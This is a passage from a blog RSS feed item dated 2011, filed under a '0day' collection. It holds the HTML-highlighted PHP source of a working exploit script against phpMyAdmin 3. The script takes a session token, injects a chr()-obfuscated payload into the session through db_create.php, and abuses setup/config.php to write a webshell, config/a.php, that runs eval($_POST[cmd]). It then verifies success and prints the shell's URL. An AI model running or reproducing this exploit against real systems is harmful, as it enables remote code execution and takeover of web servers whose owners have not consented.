&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;Session&nbsp;ID:$sessionid\n&quot;</span><span style="color: #007700">;<br />
}else{<br />
&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #dd0000">&quot;[-]&nbsp;Can't&nbsp;get&nbsp;token&nbsp;and&nbsp;Session&nbsp;ID,Exploit&nbsp;Failed!\n&quot;</span><span style="color: #007700">);<br />
}<br />
<br />
</span><span style="color: #ff8000">/**<br />
&nbsp;*&nbsp;Try&nbsp;to&nbsp;insert&nbsp;shell&nbsp;into&nbsp;session<br />
**/<br />
</span><span style="color: #007700">echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;Try&nbsp;to&nbsp;insert&nbsp;shell&nbsp;into&nbsp;session....\n&quot;</span><span style="color: #007700">;<br />
</span><span style="color: #0000bb">php_request</span><span style="color: #007700">(</span><span style="color: #dd0000">'db_create.php?token='</span><span style="color: #007700">.</span><span style="color: #0000bb">$token</span><span style="color: #007700">.</span><span style="color: #dd0000">'&amp;session_to_unset=t00ls&amp;_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net'</span><span style="color: #007700">,</span><span style="color: #dd0000">''</span><span style="color: #007700">,</span><span style="color: #dd0000">'phpMyAdmin='</span><span style="color: #007700">.</span><span style="color: #0000bb">$sessionid</span><span style="color: #007700">);</span><span style="color: #ff8000">//Actually,almost&nbsp;all&nbsp;the&nbsp;php&nbsp;files&nbsp;in&nbsp;home&nbsp;directory&nbsp;of&nbsp;pma3&nbsp;can&nbsp;be&nbsp;used&nbsp;here.<br />
<br />
/**<br />
&nbsp;*&nbsp;Try&nbsp;to&nbsp;create&nbsp;webshell<br />
**/<br />
</span><span style="color: #007700">echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;Try&nbsp;to&nbsp;create&nbsp;webshell....\n&quot;</span><span style="color: #007700">;<br />
</span><span style="color: #0000bb">php_request</span><span style="color: #007700">(</span><span style="color: #dd0000">'setup/config.php'</span><span style="color: #007700">,</span><span style="color: #dd0000">'phpMyAdmin='</span><span style="color: #007700">.</span><span style="color: #0000bb">$sessionid</span><span style="color: #007700">.</span><span style="color: #dd0000">'&amp;tab_hash=&amp;token='</span><span style="color: #007700">.</span><span style="color: #0000bb">$token</span><span style="color: #007700">.</span><span style="color: #dd0000">'&amp;check_page_refresh=&amp;DefaultLang=en&amp;ServerDefault=0&amp;eol=unix&amp;submit_save=Save'</span><span style="color: #007700">,</span><span style="color: #dd0000">'phpMyAdmin='</span><span style="color: #007700">.</span><span style="color: #0000bb">$sessionid</span><span style="color: #007700">);<br />
</span><span style="color: #ff8000">/**<br />
&nbsp;*&nbsp;Try&nbsp;to&nbsp;check&nbsp;if&nbsp;the&nbsp;webshell&nbsp;was&nbsp;created&nbsp;successfully<br />
**/<br />
</span><span style="color: #007700">echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;Try&nbsp;to&nbsp;check&nbsp;if&nbsp;the&nbsp;webshell&nbsp;was&nbsp;created&nbsp;successfully....\n&quot;</span><span style="color: #007700">;<br />
</span><span style="color: #0000bb">$content</span><span style="color: #007700">=</span><span style="color: #0000bb">php_request</span><span style="color: #007700">(</span><span style="color: #dd0000">'config/config.inc.php'</span><span style="color: #007700">);<br />
if(</span><span style="color: #0000bb">strpos</span><span style="color: #007700">(</span><span style="color: #0000bb">$content</span><span style="color: #007700">,</span><span style="color: #dd0000">'t00ls'</span><span style="color: #007700">)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;Congratulations!&nbsp;Expoilt&nbsp;successfully....\n&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;Webshell:http://$host{$path}config/a.php&nbsp;eval(\$_POST[cmd])\n&quot;</span><span style="color: #007700">;<br />
}else{<br />
&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #dd0000">&quot;[-]&nbsp;Exploit&nbsp;Failed!&nbsp;Perhaps&nbsp;the&nbsp;directory:config&nbsp;do&nbsp;not&nbsp;exists&nbsp;or&nbsp;is&nbsp;not&nbsp;writeable!\n&quot;</span><span style="color: #007700">);<br />
}<br />
<br />
function&nbsp;</span><span style="color: #0000bb">php_request</span><span style="color: #007700">(</span><span style="color: #0000bb">$url</span><span style="color: #007700">,</span><span style="color: #0000bb">$data</span><span style="color: #007700">=</span><span style="color: #dd0000">''</span><span style="color: #007700">,</span><span style="color: #0000bb">$cookie</span><span style="color: #007700">=</span><span style="color: #dd0000">''</span><span style="color: #007700">){<br />
&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;&nbsp;</span><span style="color: #0000bb">$host</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000bb">$path</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$method</span><span style="color: #007700">=</span><span style="color: #0000bb">$data</span><span style="color: #007700">?</span><span style="color: #dd0000">'POST'</span><span style="color: #007700">:</span><span style="color: #dd0000">'GET'</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000bb">$method</span><span style="color: #007700">.</span><span style="color: #dd0000">&quot;&nbsp;&quot;</span><span style="color: #007700">.</span><span style="color: #0000bb">$path</span><span style="color: #007700">.</span><span style="color: #0000bb">$url</span><span style="color: #007700">.</span><span style="color: #dd0000">&quot;&nbsp;HTTP/1.1\r\n&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #dd0000">&quot;Accept:&nbsp;*/*\r\n&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #dd0000">&quot;User-Agent:&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.00;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;SV1)\r\n&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #dd0000">&quot;Host:&nbsp;$host\r\n&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000bb">$data</span><span style="color: #007700">?</span><span style="color: #dd0000">&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;</span><span style="color: #007700">:</span><span style="color: #dd0000">&quot;&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000bb">$data</span><span style="color: #007700">?</span><span style="color: #dd0000">&quot;Content-Length:&nbsp;&quot;</span><span style="color: #007700">.</span><span style="color: #0000bb">strlen</span><span style="color: #007700">(</span><span style="color: #0000bb">$data</span><span style="color: #007700">).</span><span style="color: #dd0000">&quot;\r\n&quot;</span><span style="color: #007700">:</span><span style="color: #dd0000">&quot;&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000bb">$cookie</span><span style="color: #007700">?</span><span style="color: #dd0000">&quot;Cookie:&nbsp;$cookie\r\n&quot;</span><span style="color: #007700">:</span><span style="color: #dd0000">&quot;&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #dd0000">&quot;Connection:&nbsp;Close\r\n\r\n&quot;</span><span style="color: #007700">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$packet&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000bb">$data</span><span style="color: #007700">?</span><span style="color: #0000bb">$data</span><span style="color: #007700">:</span><span style="color: #dd0000">&quot;&quot;</span><span style="color: #007700">;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$fp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000bb">fsockopen</span><span style="color: #007700">(</span><span style="color: #0000bb">gethostbyname</span><span style="color: #007700">(</span><span style="color: #0000bb">$host</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000bb">80</span><span style="color: #007700">);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000bb">$fp</span><span style="color: #007700">)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #dd0000">'No&nbsp;response&nbsp;from&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000bb">$host</span><span style="color: #007700">;&nbsp;die;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">fputs</span><span style="color: #007700">(</span><span style="color: #0000bb">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000bb">$packet</span><span style="color: #007700">);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$resp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #dd0000">''</span><span style="color: #007700">;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000bb">$fp&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;!</span><span style="color: #0000bb">feof</span><span style="color: #007700">(</span><span style="color: #0000bb">$fp</span><span style="color: #007700">))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">$resp&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000bb">fread</span><span style="color: #007700">(</span><span style="color: #0000bb">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000bb">1024</span><span style="color: #007700">);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000bb">$resp</span><span style="color: #007700">;<br />
}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #0000bb">?&gt;</span> </span></code></div>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=457</link>
			<category domain="http://www.st999.cn/blog/?cid=7">oday收藏</category>
			<pubDate>2011-07-13 08:25</pubDate>
		</item>
	</channel>
</rss>

